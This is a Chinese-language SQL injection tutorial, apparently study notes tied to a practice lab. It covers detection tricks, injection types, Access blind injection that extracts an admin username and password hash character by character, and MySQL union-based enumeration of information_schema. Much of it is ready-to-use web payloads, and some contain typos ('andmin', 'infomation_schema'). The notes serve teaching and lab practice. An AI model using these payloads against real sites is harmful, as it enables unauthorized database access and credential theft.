一、什么是SQL注入?
答:SQL注入是比较常见的网络攻击方式之一,它不是利用OS的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句实现无账号登陆,甚至篡改数据库。
二、SQL注入的原理?
答:SQL注入攻击通过构建特殊的输入语句作为参数传入web应用程序,指的是服务器对用户输入数据过滤不严,导致服务器SQL语句被恶意篡改并成功
SQL注入的危害?
当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
SQL注入带来的危害主要有如下几点:
- 猜解数据库(这是利用最多的方式)盗取网站敏感信息。
- 绕过验证,例如绕过验证登陆进入网站后台
- 注入可以借助数据库的存储过程进行提权等操作
- 管理员账号被篡改
- 网页被挂马
- 服务器被远程控制,被安装后门
- 破坏硬盘数据,瘫痪全系统
…
三、SQL注入攻击的总体思路
- 寻找SQL注入位置
- 判断服务器类型和后台数据库类型
- 针对不同服务器和数据库特点进行SQL注入攻击
SQL注入条件:
1、必须有参数传递
2、参数值带入数据库查询并执行 and 1=1 返回正确 and 1=2返回错误
大概判断是否存在注入点:
- 如果参数(id)是数字,测试id=2-1 与id=1返回结果是否相同,如果做了2-1的运算,说明可能存在数字型注入。如果要用+号运算,因为URL编码的问题,可能需要把+号换成%2B,例如 id=1%2B1
- 在参数后面加单引号或者双引号,判断返回结果是否有报错
- 添加注释符,判断前后是否有报错,例如 id=1’ # 或者 id=1’ --+(后面跟+是把+当成空格使用)
- 有些参数可能在括号里面,如:SELECT first_name,last_name FROM user where user idd=(’$id’);所以也可以在参数后面加单双引号加括号如 id=1’) --+或者 id=1")–+
- 参数后面跟or 或者 and,判断结果是否有变化
- 如果回显正确和报错都是一样的界面,可以考虑时间延迟的方式判断是否存在注入,如 1’ and sleep(5) (延迟5m)
…
SQL注入分类(按数据类型分为俩类)
- 数字型SQL注入
- 字符型SQL注入
按注入点分:
- 请求参数注入:修改GET、POST中的参数
- URL注入
- 盲注
- cookie注入
- HTTP头消息注入
- X-Forwarded-For:是一个HTTP扩展头部,主要是为了让WEB服务器获取访问用户的真实IP。
- User-agert:用户代理头信息,记录了客户的软件程序相关信息
- Refer:记录了请求来源(记录了你是从哪里跳转过来的)
- 延时注入
- 报错型注入
…
四、常见的数据库
Access:体积小,速度快,但很少见,多用于久远的小型数据库,常与asp搭配。
MySQL:体积小、速度快、功能简洁,多用于小型数据库,常与PHP / Java搭配。
SqlServer:较MySQL稍显复杂,功能也更为强大(也意味着攻击面更广),多用于中型数据库,常与.NET搭配。
Oracle:体积大、结构复杂、安全性高,多用于大型数据库,常与Java搭配。
......
五、ASP的ACCESS数据库SQL注入入门
access数据库
是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具。
access注入基本流程?
- 判断有没有注入点
- 猜解表名
- 猜解字段
- 猜解管理员ID值
- 猜解用户名和密码长度
- 猜解用户名和密码
ASP的数据库:SQL sever或者access
联合查询法(速度快、兼容性不好)
- and 1=1 、 and 1=2——判断注入
- order by …(猜有多少列order by 5回显正确,order by 6报错,则表示有五列)
- union select 1,2,3,4,5 from admin(猜表名,如果报错就说明表名不存在,将admin换成别的)
- union select 1,2,username,4,password(在数字3,5有回显位即在回显位上进行猜解字段)
access数据库盲注?
判断是什么数据库?
SQL sever或者access(回显正常是SQL sever回显不正常是access)语句如1
先找数据传参的地方,寻找注入点。
1、用来判断数据库
and (select count(*) from msysobjects)>0
回显错误,证明该数据库为access数据
或者
and exists(select * from msysobjects)>0
回显成功/根据回显消息提示,没有读取数据权限,即该数据库为access
2、查表名,回显正确即表示存在表名admin
and 0<>(select count(*)from andmin) 或者 and exists(select * from admin)
3、判断管理员账号数目(>1回显正确 >2报错 即表示存在一个管理员账号)
and (select count(*) from admin)>0(数字可以修改)
4、查询admin下的adminuid(通过F12查看源代码猜测)是否存在
and 1=(select count(*)from admin where len (adminuid)>0)
判断存在后猜测字段长(=5时回显正确,即字段长=5)
and 1=(select count(*)from admin where len (adminuid)=5)
5、判断密码的字段长(当字段长=16时回显正常)
and 1=(select count(*)from admin where len (adminpwd)>0)
以上可知管理员账号:admin 密码为16位md加密
ASCII码
6、验证账号为admin
一位一位的用大于等于号判断
and (select top 1 asc(mid(adminuid,1,1))from admin)=55
and (select top 1 asc(mid(adminuid,2,1))from admin)=97
and (select top 1 asc(mid(adminuid,3,1))from admin)>1 …
7、一步一步猜解密码16为7a57a5a743894a0e(解密为admin)
and (select top 1 asc(mid(adminpwd,1,1))from admin)>1
and (select top 1 asc(mid(adminpwd,2,1))from admin)>1 …
六、MYSQL数据库
在MySQL注入中常用的注释方式:
注释 | 说明 |
---|---|
# | 单行注释 URL编码 %23,在URL框直接使用中#号必须用%23来表示,#在URL框中有特定含义,代表锚点 |
–空格 | 单行注释 ,实际使用中–空格用–+来表示。因为在URL框中,浏览器在发送请求的时候会把URL末尾的空格舍去,所以用–+代替–空格 |
在MySQL 5.0及以上版本中,提供了以下元数据信息(这里列出常用的):
- information_schema:系统数据库,包含所有数据库的相关信息
- information_schema.tables:table_name记录了所有的表名
- information_schema.column:column_name记录了所有列名
- information_schema.schemata:schema_name记录了所有数据库名
常用的字符串连接函数:
- concat(str1,str2,…):连接字符串
- concat_ws(separator,str1,str2,…):使用分隔符连接字符串
- group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分隔每一条数据
…
MYSQL数据库查询顺序:数据库名称-表名-字段-字段内容
猜解字段数
order by(SQL中的排序语法,表示对第几列进行排序)进行 猜解:
1' or 1 order by 1 # # 查询成功
# "select * from table where id='1' or 1 order by 1 # '"
1' or 1 order by 2 # # 查询成功
1' or 1 order by 3 # # 查询失败
#表示该数据库存在2列,x从1开始往下尝试,到第几列失败则表明第几列不存在
确定回显字段
数据库查询的时候并不是都有回显的,没有回显的时候或者所有字段均不回显的情况,我们就需要用到其他SQL注入手段,例如盲注、延时注入、报错注入等
1’ union select 1,2 #
华哥靶场wp的playload:
步骤:
index.php?id=1 and 1=1
order by 5
UNION SELECT
#先知道库名、版本(记录下来)
version()、user()、database()
#知道数据库后查表名
UNION SELECT 1,table_name,3,4,5 from information_schema.tables where table_schema=‘hackyl’
#因为有php魔术引号所以要转义,小葵转码(hackyl)
UNION SELECT 1,group_concat(table_name),3,4,5 from infomation_schema.tables where table_schema=‘hackyl’
UNION SELECT 1,group_concat(column_name),3,4,5 from infomation_schema.columns where table_name=‘user’
UNION SELECT 1,username,password,4,5 from user
7、布尔盲注
布尔盲注的利用场景:在注入时无回显,无报错,通过页面观察正确SQL与错误SQL语句执行结果的不同
常用函数
函数 | 描述 |
---|---|
left(str, len) | 从左边截取指定长度的字符串 |
length(str) | 获取字符串长度 |
ascii(str) | 将指定字符串进行ascii编码 |
substr(str, start, len) | 截取字符串,可以指定起始位置和长度 |
mid(str, start, len) | 截取字符串,可以指定起始位置和长度 |
count() | 返回匹配条件的行数 |
sleep(n) | 将程序挂起n秒 |
if(param1, param2, param3) | param1作为条件,当其返回结果为true时,执行param2,否则执行param3 |
华哥靶场wp的playload: